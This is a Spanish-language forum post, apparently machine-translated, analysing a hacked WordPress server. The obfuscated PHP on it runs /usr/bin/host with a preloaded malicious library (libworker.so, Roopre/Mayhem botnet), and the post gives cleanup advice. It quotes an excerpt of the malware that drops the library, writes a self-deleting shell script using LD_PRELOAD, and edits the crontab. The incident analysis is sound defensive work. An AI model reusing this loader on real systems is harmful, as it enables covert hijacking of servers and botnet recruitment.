/ usr / bin / host ejecutado por script PHP pirateado

Hoy noté una alta tasa de solicitud inusual en el servidor web Apache y también un tráfico de red entrante bastante alto. Al revisar la página mod_status de Apache, encontré que las URL ofensivas eran de la ruta www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. Y, de hecho, he encontrado varios scripts PHP pirateados (ofuscados) allí.

También noté un proceso extraño ejecutado por el usuario de www-data:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

La comprobación /proc/7300/cmdlinereveló que, de hecho, este es el /usr/bin/hostbinario original . netstat -anpmostró que tiene muchas conexiones HTTP abiertas, por lo que de alguna manera se abusa del binario. debsumsconfirmó que la suma de comprobación binaria está bien. Como el proceso se ejecutó con el usuario www-data, no tenía ninguna razón para creer que el servidor en sí estaba en peligro.

¿Cómo se abusa de ese binario?

EDITAR: Esta no es una pregunta amplia "cómo lidiar con el servidor comprometido". Más bien una pregunta (y ya una respuesta) sobre un tipo específico de abuso, cómo se hace técnicamente, ya que este caso particular es bastante creativo en cómo funciona. Parece que esto está salvaje durante varios años (viejos hilos y preguntas de 2012) y lo encontré esta semana.

Después de buscar en los códigos fuente de scripts PHP ofendidos y buscar en Google ( este hilo ), he encontrado una explicación.

Esto es parte del system.phpcódigo que he encontrado:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Cómo /usr/bin/hostestá involucrado es un poco más avanzado. Los programas usan bibliotecas ( .soarchivos) para algunas de sus funciones. Los usuarios pueden preenlazar ( LD_PRELOAD) algunos archivos .so antes de lanzar un binario legítimo para cambiar cómo actúa.

Como puede ver, este script crea un archivo libworker.soy usa LD_PRELOADuna variable de entorno para precargarlo, por lo que el hostbinario legítimo está haciendo algo totalmente diferente.

Crea un 1.shscript de shell e intenta ejecutarlo de varias maneras (directamente, usando el atcomando, usando cron). Inmediatamente después de eso, elimina el script y el archivo de la biblioteca del disco, por lo que pasa desapercibido.

Lo que sucedió en primer lugar fue que se abusó de algún complemento vulnerable de Wordpress y el atacante pudo colocar sus archivos en directorios de escritura de palabras.

La mitigación significa analizar archivos de registro de acceso antiguos para ese dominio e intentar encontrar cualquier POSTsolicitud a ubicaciones inusuales; por ejemplo, acceder directamente a los archivos PHP del complemento WP / Joomla es inusual. Luego, elimine todos los archivos PHP ofuscados encontrados, arregle los permisos de directorio, finalice los hostprocesos en ejecución y monitoree los archivos de registro para detectar cualquier intento de volver a piratear.

EDITAR: Tengo información de ESET que ya detectan esta biblioteca en particular y también otras versiones. Las compañías de antivirus le dan el nombre de Roopre y parece que se usa como parte de la botnet Mayhem .

Análisis en profundidad de la botnet Mayhem.

Análisis en profundidad de esta hazaña.